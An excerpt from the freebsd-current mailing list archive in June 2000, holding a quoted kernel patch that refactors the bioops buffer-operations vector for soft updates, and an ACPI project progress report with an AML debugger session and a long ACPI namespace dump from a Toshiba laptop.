UFS modifies a directory > inode, it will call bwrite(bp) on the buffer with the data. This > would not work if the backing were based on malloc(9) or anonymous > swap-backed VM objects for instance. > > In other words: this is the main reason why we don't have a decent > tmpfs in FreeBSD. > > Instead of just assuming that it works on a disk, bwrite(bp) should > do a "bp->b_ops->bwrite(bp)" so that each buffer could have its own > private idea of how to write itself, depending on what backing it has. > > So in order to move bioops closer to become a bp->b_ops, this patch > takes two entries out of bioops: the "sync" and the "fsync" items > and virtualizes the rest of the elements a bit. > > The "sync" item is called only from the syncer, and is a call to the > softupdates code to do what it needs to do for periodic syncing. > > The real way of doing that would be to have an event-handler for this > since other code could need to be part of the sync trafic, raid5 > private parity caches could be one example. I have not done this > yet, since currently softupdates is the only client. > > The fsync item really doesn't belong in the fsync system call, it > belongs in ffs_fsync, and has been moved there. > > To give the right behaviour when SOFTUPDATES is not compiled in, > stubs for both of these functions have been added to ffs_softdep_stub.c > > Finally all the checks to see if the bioops vector is populated > has been centralized in in-line functions in thereby > paving the road for the global bioops to become bp->b_ops. > > Comments, reviews, tests please > > Poul-Henning > > Index: contrib/softupdates/ffs_softdep.c > =================================================================== > RCS file: /home/ncvs/src/sys/contrib/softupdates/ffs_softdep.c,v > retrieving revision 1.64 > diff -u -r1.64 ffs_softdep.c > --- contrib/softupdates/ffs_softdep.c 2000/05/26 02:01:59 1.64 > +++ contrib/softupdates/ffs_softdep.c 2000/06/14 19:26:46 > @@ -222,8 +222,6 @@ > softdep_disk_io_initiation, /* io_start */ > softdep_disk_write_complete, /* io_complete */ > softdep_deallocate_dependencies, /* io_deallocate */ > - softdep_fsync, /* io_fsync */ > - softdep_process_worklist, /* io_sync */ > softdep_move_dependencies, /* io_movedeps */ > softdep_count_dependencies, /* io_countdeps */ > }; > Index: kern/vfs_bio.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/vfs_bio.c,v > retrieving revision 1.258 > diff -u -r1.258 vfs_bio.c > --- kern/vfs_bio.c 2000/05/26 02:04:39 1.258 > +++ kern/vfs_bio.c 2000/06/14 19:00:56 > @@ -616,8 +616,8 @@ > newbp->b_flags &= ~B_INVAL; > > /* move over the dependencies */ > - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_movedeps) > - (*bioops.io_movedeps)(bp, newbp); > + if (LIST_FIRST(&bp->b_dep) != NULL) > + buf_movedeps(bp, newbp); > > /* > * Initiate write on the copy, release the original to > @@ -673,10 +673,10 @@ > /* > * Process dependencies then return any unfinished ones. > */ > - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_complete) > - (*bioops.io_complete)(bp); > - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_movedeps) > - (*bioops.io_movedeps)(bp, origbp); > + if (LIST_FIRST(&bp->b_dep) != NULL) > + buf_complete(bp); > + if (LIST_FIRST(&bp->b_dep) != NULL) > + buf_movedeps(bp, origbp); > /* > * Clear the BX_BKGRDINPROG flag in the original buffer > * and awaken it if it is waiting for the write to complete. > @@ -939,8 +939,8 @@ > * cache the buffer. > */ > bp->b_flags |= B_INVAL; > - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_deallocate) > - (*bioops.io_deallocate)(bp); > + if (LIST_FIRST(&bp->b_dep) != NULL) > + buf_deallocate(bp); > if (bp->b_flags & B_DELWRI) { > --numdirtybuffers; > numdirtywakeup(); > @@ -1570,8 +1570,8 @@ > crfree(bp->b_wcred); > bp->b_wcred = NOCRED; > } > - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_deallocate) > - (*bioops.io_deallocate)(bp); > + if (LIST_FIRST(&bp->b_dep) != NULL) > + buf_deallocate(bp); > if (bp->b_xflags & BX_BKGRDINPROG) > panic("losing buffer 3"); > LIST_REMOVE(bp, b_hash); > @@ -1848,9 +1848,8 @@ > break; > } > if (LIST_FIRST(&bp->b_dep) != NULL && > - bioops.io_countdeps && > (bp->b_flags & B_DEFERRED) == 0 && > - (*bioops.io_countdeps)(bp, 0)) { > + buf_countdeps(bp, 0)) { > TAILQ_REMOVE(&bufqueues[QUEUE_DIRTY], > bp, b_freelist); > TAILQ_INSERT_TAIL(&bufqueues[QUEUE_DIRTY], > @@ -2664,8 +2663,8 @@ > splx(s); > return; > } > - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_complete) > - (*bioops.io_complete)(bp); > + if (LIST_FIRST(&bp->b_dep) != NULL) > + buf_complete(bp); > > if (bp->b_flags & B_VMIO) { > int i, resid; > Index: kern/vfs_cluster.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/vfs_cluster.c,v > retrieving revision 1.98 > diff -u -r1.98 vfs_cluster.c > --- kern/vfs_cluster.c 2000/05/05 09:58:25 1.98 > +++ kern/vfs_cluster.c 2000/06/14 19:01:13 > @@ -805,9 +805,8 @@ > splx(s); > } /* end of code for non-first buffers only */ > /* check for latent dependencies to be handled */ > - if ((LIST_FIRST(&tbp->b_dep)) != NULL && > - bioops.io_start) > - (*bioops.io_start)(tbp); > + if ((LIST_FIRST(&tbp->b_dep)) != NULL) > + buf_start(tbp); > /* > * If the IO is via the VM then we do some > * special VM hackery. (yuck) > Index: kern/vfs_subr.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/vfs_subr.c,v > retrieving revision 1.257 > diff -u -r1.257 vfs_subr.c > --- kern/vfs_subr.c 2000/05/26 02:04:39 1.257 > +++ kern/vfs_subr.c 2000/06/14 19:56:33 > @@ -1029,8 +1029,7 @@ > /* > * Do soft update processing. > */ > - if (bioops.io_sync) > - (*bioops.io_sync)(NULL); > + softdep_process_worklist(NULL); > > /* > * The variable rushjob allows the kernel to speed up the > Index: kern/vfs_syscalls.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/vfs_syscalls.c,v > retrieving revision 1.153 > diff -u -r1.153 vfs_syscalls.c > --- kern/vfs_syscalls.c 2000/05/05 09:58:27 1.153 > +++ kern/vfs_syscalls.c 2000/06/14 19:38:24 > @@ -2545,10 +2545,7 @@ > vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, p); > if (vp->v_object) > vm_object_page_clean(vp->v_object, 0, 0, 0); > - if ((error = VOP_FSYNC(vp, fp->f_cred, MNT_WAIT, p)) == 0 && > - vp->v_mount && (vp->v_mount->mnt_flag & MNT_SOFTDEP) && > - bioops.io_fsync) > - error = (*bioops.io_fsync)(vp); > + error = VOP_FSYNC(vp, fp->f_cred, MNT_WAIT, p); > VOP_UNLOCK(vp, 0, p); > return (error); > } > Index: miscfs/devfs/devfs_vnops.c > =================================================================== > RCS file: /home/ncvs/src/sys/miscfs/devfs/devfs_vnops.c,v > retrieving revision 1.96 > diff -u -r1.96 devfs_vnops.c > --- miscfs/devfs/devfs_vnops.c 2000/05/05 09:58:29 1.96 > +++ miscfs/devfs/devfs_vnops.c 2000/06/14 19:02:35 > @@ -1570,9 +1570,8 @@ > return error; > > > - if ((bp->b_iocmd == BIO_WRITE) && > - (LIST_FIRST(&bp->b_dep)) != NULL && bioops.io_start) > - (*bioops.io_start)(bp); > + if ((bp->b_iocmd == BIO_WRITE) && (LIST_FIRST(&bp->b_dep)) != NULL) > + buf_start(bp); > switch (vp->v_type) { > case VCHR: > (*vp->v_rdev->si_devsw->d_strategy)(&bp->b_io); > Index: miscfs/specfs/spec_vnops.c > =================================================================== > RCS file: /home/ncvs/src/sys/miscfs/specfs/spec_vnops.c,v > retrieving revision 1.138 > diff -u -r1.138 spec_vnops.c > --- miscfs/specfs/spec_vnops.c 2000/06/12 10:20:18 1.138 > +++ miscfs/specfs/spec_vnops.c 2000/06/14 19:02:49 > @@ -417,9 +417,8 @@ > struct mount *mp; > > bp = ap->a_bp; > - if ((bp->b_iocmd == BIO_WRITE) && > - (LIST_FIRST(&bp->b_dep)) != NULL && bioops.io_start) > - (*bioops.io_start)(bp); > + if ((bp->b_iocmd == BIO_WRITE) && (LIST_FIRST(&bp->b_dep)) != NULL) > + buf_start(bp); > > /* > * Collect statistics on synchronous and asynchronous read > Index: sys/buf.h > =================================================================== > RCS file: /home/ncvs/src/sys/sys/buf.h,v > retrieving revision 1.103 > diff -u -r1.103 buf.h > --- sys/buf.h 2000/05/26 02:06:53 1.103 > +++ sys/buf.h 2000/06/14 19:26:59 > @@ -64,8 +64,6 @@ > void (*io_start) __P((struct buf *)); > void (*io_complete) __P((struct buf *)); > void (*io_deallocate) __P((struct buf *)); > - int (*io_fsync) __P((struct vnode *)); > - int (*io_sync) __P((struct mount *)); > void (*io_movedeps) __P((struct buf *, struct buf *)); > int (*io_countdeps) __P((struct buf *, int)); > } bioops; > @@ -405,6 +403,43 @@ > > #define BUF_WRITE(bp) VOP_BWRITE((bp)->b_vp, (bp)) > #define BUF_STRATEGY(bp) VOP_STRATEGY((bp)->b_vp, (bp)) > + > +static __inline void > +buf_start(struct buf *bp) > +{ > + if (bioops.io_start) > + (*bioops.io_start)(bp); > +} > + > +static __inline void > +buf_complete(struct buf *bp) > +{ > + if (bioops.io_complete) > + (*bioops.io_complete)(bp); > +} > + > +static __inline void > +buf_deallocate(struct buf *bp) > +{ > + if (bioops.io_deallocate) > + (*bioops.io_deallocate)(bp); > +} > + > +static __inline void > +buf_movedeps(struct buf *bp, struct buf *bp2) > +{ > + if (bioops.io_movedeps) > + (*bioops.io_movedeps)(bp, bp2); > +} > + > +static __inline int > +buf_countdeps(struct buf *bp, int i) > +{ > + if (bioops.io_countdeps) > + return ((*bioops.io_countdeps)(bp, i)); > + else > + return (0); > +} > > #endif /* _KERNEL */ > > Index: sys/mount.h > =================================================================== > RCS file: /home/ncvs/src/sys/sys/mount.h,v > retrieving revision 1.91 > diff -u -r1.91 mount.h > --- sys/mount.h 2000/05/26 02:06:55 1.91 > +++ sys/mount.h 2000/06/14 19:58:22 > @@ -447,6 +447,7 @@ > int vfs_stdextattrctl __P((struct mount *mp, int cmd, const char *attrname, > caddr_t arg, struct proc *p)); > > +void softdep_process_worklist __P((struct mount *)); > #else /* !_KERNEL */ > > #include > Index: ufs/ffs/ffs_softdep_stub.c > =================================================================== > RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_softdep_stub.c,v > retrieving revision 1.8 > diff -u -r1.8 ffs_softdep_stub.c > --- ufs/ffs/ffs_softdep_stub.c 2000/04/19 14:58:25 1.8 > +++ ufs/ffs/ffs_softdep_stub.c 2000/06/14 19:33:11 > @@ -254,4 +254,20 @@ > > return (0); > } > + > +int > +softdep_fsync(vp) > + struct vnode *vp; /* the "in_core" copy of the inode */ > +{ > + > + return (0); > +} > + > +int > +softdep_process_worklist(matchmnt) > + struct mount *matchmnt; > +{ > + return (0); > +} > + > #endif /* SOFTUPDATES not configured in */ > Index: ufs/ffs/ffs_vnops.c > =================================================================== > RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_vnops.c,v > retrieving revision 1.66 > diff -u -r1.66 ffs_vnops.c > --- ufs/ffs/ffs_vnops.c 2000/05/05 09:59:05 1.66 > +++ ufs/ffs/ffs_vnops.c 2000/06/14 19:38:13 > @@ -175,7 +175,7 @@ > continue; > if (!wait && LIST_FIRST(&bp->b_dep) != NULL && > (bp->b_flags & B_DEFERRED) == 0 && > - bioops.io_countdeps && (*bioops.io_countdeps)(bp, 0)) { > + buf_countdeps(bp, 0)) { > bp->b_flags |= B_DEFERRED; > continue; > } > @@ -278,5 +278,8 @@ > } > } > splx(s); > - return (UFS_UPDATE(vp, wait)); > + error = UFS_UPDATE(vp, wait); > + if (error == 0 && vp->v_mount && (vp->v_mount->mnt_flag & MNT_SOFTDEP)) > + error = softdep_fsync(vp); > + return (error); > } > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- n_hibma@webweaving.org n_hibma@freebsd.org USB project http://www.etla.net/~n_hibma/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 8:22:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5]) by hub.freebsd.org (Postfix) with ESMTP id 5DE0737BA2F; Fri, 16 Jun 2000 08:22:04 -0700 (PDT) (envelope-from iwasaki@jp.FreeBSD.org) Received: from localhost (isdnb53.imasy.or.jp [202.227.24.181]) by tasogare.imasy.or.jp (8.10.1+3.3W/3.7W-tasogare/smtpfeed 1.07) with ESMTP id e5GFLu240950; Sat, 17 Jun 2000 00:21:56 +0900 (JST) (envelope-from iwasaki@jp.FreeBSD.org) To: freebsd-current@FreeBSD.org Cc: freebsd-hackers@FreeBSD.org, acpi-jp@jp.FreeBSD.org Subject: ACPI project progress report X-Mailer: Mew version 1.94.1 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000617002156A.iwasaki@jp.FreeBSD.org> Date: Sat, 17 Jun 2000 00:21:56 +0900 From: Mitsuru IWASAKI X-Dispatcher: imput version 20000228(IM140) Lines: 690 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, here is the latest report on our ACPI project's progress. Current status: The aml interpreter development is going on and we've ported it to kernel simultaneously. Now that we can build ACPI namespace and search any named objects from there in kernel space. The aml interpreter code can be compiled and executed in both userland (using I/O simulator) and kernel space so that we can continue development even we ported the code in kernel. Next step would be implementation of the accessing facility for system memory, ioport and so on, then simple method (eg _PTS with 1 or 5 and _WAK) must be able to executed soon. This is our goal of prototype development. TODO: - combine sys/isa/pnpparse.c with interpreter. - support S2, S3, S4 (hibernation) sleeping transition. S4 sleep require some hack in boot loader.... needs help. - implement serialization and synchronization mechanism. - migrate to Intel ACPICA? (but that's too large to understand. I'm not sure whether this has licencing issue or welcome to import it into our repository in terms of licencing policy... ours? Yes, it's BSD Licence. No problem at all :-) - and many. Obtaining source code: To get ACPI project repository, please try CVSup with; --------------------------------------- *default host=cvsup.jp.FreeBSD.org *default base=/usr *default prefix=/home/cvs *default release=cvs *default delete use-rel-suffix jp-acpi --------------------------------------- cvsweb is also available at; . usr.sbin/acpi/amldb would be a good toy for you :-) % ./amldb ../../../util/takawata/acpi/3110CT.dsdt.dat Loading ../../../util/takawata/acpi/3110CT.dsdt.dat...done AML>r _PTS Method: Arg 1 From 0x280f36ce To 0x280f3775 Enter argument values (ex. number 1 / string foo). 'q' to quit. Arg0 ? n 1 ==== Running _PTS. ==== AML>h s Single step n Step program c Continue program being debugged q Quit method execution t Show local name space tree and variables i Toggle region input prompt o Toggle region output prompt m Show memory management statistics r Run specified method f Find named objects from namespace. h Show this messsage AML> BTW, I (iwasaki) am going to USENIX 6/21 - 23, I'll happy to give a demonstration on ACPI device driver and AML interpreter debugger if anybody ask me to do it. Here's the dmesg output from kernel with AML interpreter on TOSHIBA PORTEGE 3110CT. It's not fake :-) There are 1735 times memory allocation here, but we couldn't find a lowering of performance because of own memory management system. 95% of memory allocation is covered by pre-allocated memory storage which is compiled in the interpreter module. Thanks! ACPI: Found ACPI BIOS data at 0xc00f0170 (, RSDT@3fe0000) acpi0: on motherboard acpi0: ADDR RANGE 3fe0000 10000 (mapped 0xc5774000) acpi0: ADDR RANGE 100b6e00 200 (mapped 0xc5784e00) acpi0: RSDT have 1 entries acpi0: RSDT entry0 FACP acpi0: FACP found acpi0: DSDT found Size=17865 bytes \\ IRQS Method: Arg 2 From 0xc57783bf To 0xc5778691 IRQR Method: Arg 1 From 0xc57781de To 0xc57783b7 CRSL Method: Arg 1 From 0xc5778165 To 0xc57781d6 PRSL Method: Arg 1 From 0xc57780d3 To 0xc577815d STAL Method: Arg 1 From 0xc577808c To 0xc57780cb PSC_ Method: Arg 1 From 0xc5778054 To 0xc5778084 WPSX Method: Arg 4 From 0xc5777fd7 To 0xc577804d PS3_ Method: Arg 1 From 0xc5777f70 To 0xc5777fcf PS0_ Method: Arg 1 From 0xc5777f09 To 0xc5777f68 DIS_ Method: Arg 1 From 0xc5777e7c To 0xc5777f01 SRS_ Method: Arg 2 From 0xc5777dde To 0xc5777e74 PRS_ Method: Arg 1 From 0xc5777d07 To 0xc5777dd6 CRS_ Method: Arg 1 From 0xc5777c30 To 0xc5777cff STA_ Method: Arg 1 From 0xc5777b93 To 0xc5777c28 SMBR Method: Arg 5 From 0xc5777b2e To 0xc5777b8b TRAP Method: Arg 1 From 0xc5777b1d To 0xc5777b26 _WAK Method: Arg 1 From 0xc5777869 To 0xc5777b16 _PTS Method: Arg 1 From 0xc57777ba To 0xc5777861 _GPE _L00 Method: Arg 0 From 0xc5777798 To 0xc57777b2 _L1E Method: Arg 8 From 0xc5777781 To 0xc5777791 _L19 Method: Arg 8 From 0xc577772f To 0xc577777a _L18 Method: Arg 8 From 0xc577765b To 0xc5777727 _L0C Method: Arg 8 From 0xc5777608 To 0xc5777653 _L0B Method: Arg 8 From 0xc5777188 To 0xc5777600 _L08 Method: Arg 8 From 0xc5777139 To 0xc5777180 _TZ_ THRM Thermalzone _TSP Num:0x708 _TC2 Num:0x2 _TC1 Num:0x9 _CRT Method: Arg 0 From 0xc5777103 To 0xc5777113 _PSL Package:elements 1 _PSV Method: Arg 0 From 0xc57770da To 0xc57770ea _AL1 Package:elements 1 _AL0 Package:elements 1 _AC1 Method: Arg 0 From 0xc577709f To 0xc57770af _AC0 Method: Arg 0 From 0xc5777088 To 0xc5777098 _TMP Method: Arg 0 From 0xc5777023 To 0xc5777081 FAN_ Device _PR0 Package:elements 1 _HID Num:0xb0cd041 PFAN PowerResource:Level 0 Order 0 _OFF Method: Arg 8 From 0xc5776fe0 To 0xc5776ff0 _ON_ Method: Arg 8 From 0xc5776fc9 To 0xc5776fd9 _STA Method: Arg 0 From 0xc5776f9a To 0xc5776fc2 _SB_ VALD Device GHCI Method: Arg 14 From 0xc5776eb7 To 0xc5776f80 INFO Method: Arg 0 From 0xc5776e57 To 0xc5776eaf ENAB Method: Arg 0 From 0xc5776e2e To 0xc5776e4f _STA Num:0xb _DDN String:VALD _HID Num:0x62f351 ADP1 Device _PSR Method: Arg 0 From 0xc5776df3 To 0xc5776e03 _STA Num:0xf _PCL Package:elements 2 _HID String:ACPI0003 BAT1 Device _BTP Method: Arg 1 From 0xc5776d7a To 0xc5776db7 _BST Method: Arg 0 From 0xc5776c8f To 0xc5776d72 _BIF Method: Arg 0 From 0xc5776b42 To 0xc5776c87 _STA Method: Arg 0 From 0xc5776b21 To 0xc5776b3a _PCL Package:elements 1 _UID Num:0x1 _HID Num:0xa0cd041 LID_ Device _PSW Method: Arg 1 From 0xc5776ac8 To 0xc5776af4 _PRW Package:elements 2 Num:0x18 Num:0x4 _LID Method: Arg 0 From 0xc5776aa5 To 0xc5776ab5 _HID Num:0xd0cd041 PCI0 Device _INI Method: Arg 0 From 0xc57769c0 To 0xc5776a8c LAN_ Device _PSW Method: Arg 1 From 0xc577698f To 0xc57769b8 _PRW Package:elements 2 Num:0x18 Num:0x4 _PSC Method: Arg 0 From 0xc5776939 To 0xc577697c _PS3 Method: Arg 8 From 0xc57768aa To 0xc5776931 _PS0 Method: Arg 8 From 0xc577681b To 0xc57768a2 _ADR Num:0xe0000 DKSQ Event DOCK Device _PR1 Package:elements 1 _PR0 Package:elements 1 PDOC PowerResource:Level 1 Order 0 _OFF Method: Arg 0 From 0xc57767b3 To 0xc57767c5 _ON_ Method: Arg 0 From 0xc577679a To 0xc57767ac _STA Method: Arg 0 From 0xc5776783 To 0xc5776793 _EJ0 Method: Arg 1 From 0xc57766c7 To 0xc5776771 _DCK Method: Arg 1 From 0xc57765dd To 0xc57766bf _UID Method: Arg 0 From 0xc5776599 To 0xc57765d5 _BDN Method: Arg 0 From 0xc5776555 To 0xc5776591 _STA Method: Arg 0 From 0xc577649c To 0xc577654d _HID Num:0x50ad041 SUND Device _PSC Method: Arg 0 From 0xc577643f To 0xc5776482 _PS3 Method: Arg 8 From 0xc57763b0 To 0xc5776437 _PS0 Method: Arg 8 From 0xc5776321 To 0xc57763a8 _ADR Num:0xc0000 MODM Device _PSW Method: Arg 1 From 0xc57762de To 0xc5776307 _PRW Package:elements 2 Num:0x18 Num:0x4 _PSC Method: Arg 0 From 0xc5776288 To 0xc57762cb _PS3 Method: Arg 8 From 0xc57761f9 To 0xc5776280 _PS0 Method: Arg 8 From 0xc577616a To 0xc57761f1 _ADR Num:0xd0000 VIY0 Device _PSW Method: Arg 1 From 0xc5776127 To 0xc5776150 _PRW Package:elements 2 Num:0xc Num:0x3 _PSC Method: Arg 0 From 0xc57760d1 To 0xc5776114 _PS3 Method: Arg 8 From 0xc5776042 To 0xc57760c9 _PS0 Method: Arg 8 From 0xc5775fb3 To 0xc577603a _SUN Num:0x0 _ADR Num:0xb0000 OBOE Device _PSC Method: Arg 0 From 0xc5775f4f To 0xc5775f92 _PS3 Method: Arg 8 From 0xc5775ec0 To 0xc5775f47 _PS0 Method: Arg 8 From 0xc5775e31 To 0xc5775eb8 _ADR Num:0x90000 USB_ Device _PSW Method: Arg 1 From 0xc5775dee To 0xc5775e17 _PRW Package:elements 2 Num:0x8 Num:0x3 _ADR Num:0x70002 VGA_ Device CRT_ Device _PSC Method: Arg 8 From 0xc5775db9 To 0xc5775dc9 _PS3 Method: Arg 8 From 0xc5775d5f To 0xc5775db2 _PS0 Method: Arg 8 From 0xc5775d04 To 0xc5775d57 _DSS Method: Arg 1 From 0xc5775bbb To 0xc5775cfc _DGS Method: Arg 0 From 0xc5775b9c To 0xc5775bb3 _DDC Method: Arg 1 From 0xc5775af4 To 0xc5775b95 _DCS Method: Arg 0 From 0xc5775ad3 To 0xc5775aec _ADR Num:0x100 LCD_ Device _PSC Method: Arg 8 From 0xc5775aac To 0xc5775abc _PS3 Method: Arg 8 From 0xc5775a52 To 0xc5775aa5 _PS0 Method: Arg 8 From 0xc57759e5 To 0xc5775a4a _BCM Method: Arg 1 From 0xc57759c3 To 0xc57759dd _BCL Method: Arg 0 From 0xc57759a1 To 0xc57759bc _DSS Method: Arg 1 From 0xc5775859 To 0xc577599a _DGS Method: Arg 0 From 0xc577583a To 0xc5775851 _DDC Method: Arg 1 From 0xc577573c To 0xc5775833 _DCS Method: Arg 0 From 0xc577571b To 0xc5775734 _ADR Num:0x110 _ROM Method: Arg 2 From 0xc57756c4 To 0xc5775704 _DOD Method: Arg 0 From 0xc57756a9 To 0xc57756bc _DOS Method: Arg 1 From 0xc577561f To 0xc57756a2 _PSC Method: Arg 0 From 0xc57755d4 To 0xc5775617 _PS3 Method: Arg 8 From 0xc5775533 To 0xc57755cc _PS2 Method: Arg 8 From 0xc5775492 To 0xc577552b _PS0 Method: Arg 8 From 0xc57753f1 To 0xc577548a _ADR Num:0x40000 FNC1 Device IDE0 Device HD_0 Device _GTF Method: Arg 0 From 0xc5775304 To 0xc57753d7 _ADR Num:0x0 _GTM Method: Arg 0 From 0xc57751e0 To 0xc57752ed _STM Method: Arg 3 From 0xc577511f To 0xc57751d8 PIHD PowerResource:Level 0 Order 0 _OFF Method: Arg 8 From 0xc5775044 To 0xc5775117 _ON_ Method: Arg 8 From 0xc5774f6d To 0xc577503c _STA Method: Arg 0 From 0xc5774f19 To 0xc5774f65 _PR0 Package:elements 1 _PSC Method: Arg 0 From 0xc5774ece To 0xc5774ee7 _PS3 Method: Arg 0 From 0xc5774eb5 To 0xc5774ec7 _PS0 Method: Arg 0 From 0xc5774e9c To 0xc5774eae _STA Method: Arg 0 From 0xc5774e6a To 0xc5774e95 _ADR Num:0x0 SUDC Fieldelement:flag 0x1 offset 600 len 2 {IDEC} PUDC Fieldelement:flag 0x1 offset 592 len 2 {IDEC} SUDM Fieldelement:flag 0x1 offset 578 len 1 {IDEC} PUDM Fieldelement:flag 0x1 offset 576 len 1 {IDEC} SRTM Fieldelement:flag 0x1 offset 536 len 8 {IDEC} PRTM Fieldelement:flag 0x1 offset 520 len 8 {IDEC} IDEC OprationRegion:Busspace2, Offset 0x0 Length 255 _ADR Num:0x70001 FNC0 Device ATA_ Device _DIS Method: Arg 0 From 0xc5774dfe To 0xc5774e04 _SRS Method: Arg 1 From 0xc5774df0 To 0xc5774df7 _PRS Method: Arg 0 From 0xc5774de3 To 0xc5774de9 _CRS Method: Arg 0 From 0xc5774dd6 To 0xc5774ddc _STA Method: Arg 0 From 0xc5774dc9 To 0xc5774dcf _UID Num:0x3 _HID Num:0x6d041 PCC0 Device PCS1 Device _SUN Num:0x1 _ADR Num:0x1 PCS0 Device _SUN Num:0x0 _ADR Num:0x0 _PSW Method: Arg 1 From 0xc5774d6e To 0xc5774d7f _PRW Package:elements 2 Num:0xc Num:0x3 _PSC Method: Arg 0 From 0xc5774d55 To 0xc5774d5b _PS3 Method: Arg 0 From 0xc5774d48 To 0xc5774d4e _PS0 Method: Arg 0 From 0xc5774d3b To 0xc5774d41 _DIS Method: Arg 0 From 0xc5774d2e To 0xc5774d34 _SRS Method: Arg 1 From 0xc5774d20 To 0xc5774d27 _PRS Method: Arg 0 From 0xc5774d13 To 0xc5774d19 _CRS Method: Arg 0 From 0xc5774d06 To 0xc5774d0c _STA Method: Arg 0 From 0xc5774cf9 To 0xc5774cff _UID Num:0x1 _HID Num:0xed041 PRT1 Device _DIS Method: Arg 0 From 0xc5774cd3 To 0xc5774cd9 _SRS Method: Arg 1 From 0xc5774cc5 To 0xc5774ccc _PRS Method: Arg 0 From 0xc5774cb8 To 0xc5774cbe _CRS Method: Arg 0 From 0xc5774cab To 0xc5774cb1 _STA Method: Arg 0 From 0xc5774c9e To 0xc5774ca4 _HID Num:0x4d041 PRT_ Device _DIS Method: Arg 0 From 0xc5774c7f To 0xc5774c85 _SRS Method: Arg 1 From 0xc5774c71 To 0xc5774c78 _PRS Method: Arg 0 From 0xc5774c64 To 0xc5774c6a _CRS Method: Arg 0 From 0xc5774c57 To 0xc5774c5d _STA Method: Arg 0 From 0xc5774c4a To 0xc5774c50 _HID Num:0x104d041 COM_ Device _PSW Method: Arg 1 From 0xc5774c20 To 0xc5774c31 _PRW Package:elements 2 Num:0x19 Num:0x3 _PSC Method: Arg 0 From 0xc5774c07 To 0xc5774c0d _PS3 Method: Arg 0 From 0xc5774bfa To 0xc5774c00 _PS0 Method: Arg 0 From 0xc5774bed To 0xc5774bf3 _DIS Method: Arg 0 From 0xc5774be0 To 0xc5774be6 _SRS Method: Arg 1 From 0xc5774bd2 To 0xc5774bd9 _PRS Method: Arg 0 From 0xc5774bc5 To 0xc5774bcb _CRS Method: Arg 0 From 0xc5774bb8 To 0xc5774bbe _STA Method: Arg 0 From 0xc5774bab To 0xc5774bb1 _HID Num:0x105d041 FDD_ Device _PSC Method: Arg 0 From 0xc5774b8c To 0xc5774b92 _PS3 Method: Arg 0 From 0xc5774b7f To 0xc5774b85 _PS0 Method: Arg 0 From 0xc5774b72 To 0xc5774b78 _DIS Method: Arg 0 From 0xc5774b65 To 0xc5774b6b _SRS Method: Arg 1 From 0xc5774b57 To 0xc5774b5e _PRS Method: Arg 0 From 0xc5774b4a To 0xc5774b50 _CRS Method: Arg 0 From 0xc5774b3d To 0xc5774b43 _STA Method: Arg 0 From 0xc5774b30 To 0xc5774b36 _HID Num:0x7d041 SYSR Device I4D1 Fieldelement:flag 0x1 offset 8 len 8 {SRG2} I4D0 Fieldelement:flag 0x1 offset 0 len 8 {SRG2} SRG2 OprationRegion:Busspace1, Offset 0x4d0 Length 2 TRP4 Fieldelement:flag 0x1 offset 0 len 8 {SRG1} SRG1 OprationRegion:Busspace1, Offset 0xb2 Length 1 _CRS Buffer: size:178 Data 0xc099c300 _STA Num:0xf _HID Num:0x20cd041 RTC_ Device _CRS Buffer: size:14 Data 0xc0d04b90 _STA Num:0xf _HID Num:0xbd041 PS2M Device _CRS Buffer: size:6 Data 0xc0d04b70 _STA Num:0xf _HID Num:0x130fd041 KBC_ Device _PSC Method: Arg 0 From 0xc57749b0 To 0xc57749b6 _PS3 Method: Arg 0 From 0xc57749a3 To 0xc57749a9 _PS0 Method: Arg 0 From 0xc5774996 To 0xc577499c _CRS Buffer: size:22 Data 0xc0994620 _STA Num:0xf _HID Num:0x303d041 NDP_ Device _CRS Buffer: size:14 Data 0xc0d04b20 _STA Num:0xf _HID Num:0x40cd041 SPKR Device _CRS Buffer: size:10 Data 0xc0d04b00 _STA Num:0xf _HID Num:0x8d041 PIT_ Device _CRS Buffer: size:14 Data 0xc0d04ae0 _STA Num:0xf _HID Num:0x1d041 PIC_ Device _CRS Buffer: size:22 Data 0xc0994640 _STA Num:0xf _HID Num:0xd041 DMAC Device _CRS Buffer: size:53 Data 0xc0ccc600 _STA Num:0xf _HID Num:0x2d041 _ADR Num:0x70000 _PRT Package:elements 7 Package:elements 4 Num:0xbffff Num:0x0 Num:0x0 Package:elements 4 Num:0x9ffff Num:0x0 Num:0x0 Package:elements 4 Num:0x4ffff Num:0x0 Num:0x0 Package:elements 4 Num:0xdffff Num:0x0 Num:0x0 Package:elements 4 Num:0x7ffff Num:0x3 Num:0x0 Package:elements 4 Num:0xeffff Num:0x0 Num:0x0 Package:elements 4 Num:0xcffff Num:0x0 Num:0x0 _CRS Buffer: size:136 Data 0xc099c400 _ADR Num:0x0 _HID Num:0x30ad041 MEM_ Device EDCK Fieldelement:flag 0x0 offset 1016 len 8 {EDID} FSDP Fieldelement:flag 0x0 offset 192 len 8 {EDID} EDID OprationRegion:Busspace0, Offset 0x100b7000 Length 256 PRES Fieldelement:flag 0x0 offset 229424 len 32768 {SRAM} CRTS Fieldelement:flag 0x0 offset 223436 len 4 {SRAM} 